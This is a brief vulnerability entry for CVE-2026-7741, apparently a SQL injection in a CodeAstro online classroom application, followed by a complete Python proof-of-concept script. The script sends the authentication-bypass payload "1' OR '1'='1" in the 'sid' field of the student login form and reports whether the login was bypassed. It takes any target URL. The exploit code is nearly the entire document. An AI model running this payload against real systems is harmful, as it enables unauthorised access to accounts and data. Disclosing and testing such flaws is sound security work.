CVE-2026-7741 CodeAstro SQL注入漏洞

import requests def check_poc(url): target_url = f"{url}/OnlineClassroom/studentlogin" # Payload to test SQL injection via 'sid' parameter payload = { "sid": "1' OR '1'='1", "password": "random" } try: response = requests.post(target_url, data=payload, timeout=10) # Analyze response to determine if injection was successful if response.status_code == 200 and ("Welcome" in response.text or "dashboard" in response.text.lower()): print("[+] Vulnerability confirmed: SQL Injection successful.") else: print("[-] Vulnerability not confirmed or payload invalid.") except requests.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": target = "http://127.0.0.1" # Replace with actual target check_poc(target)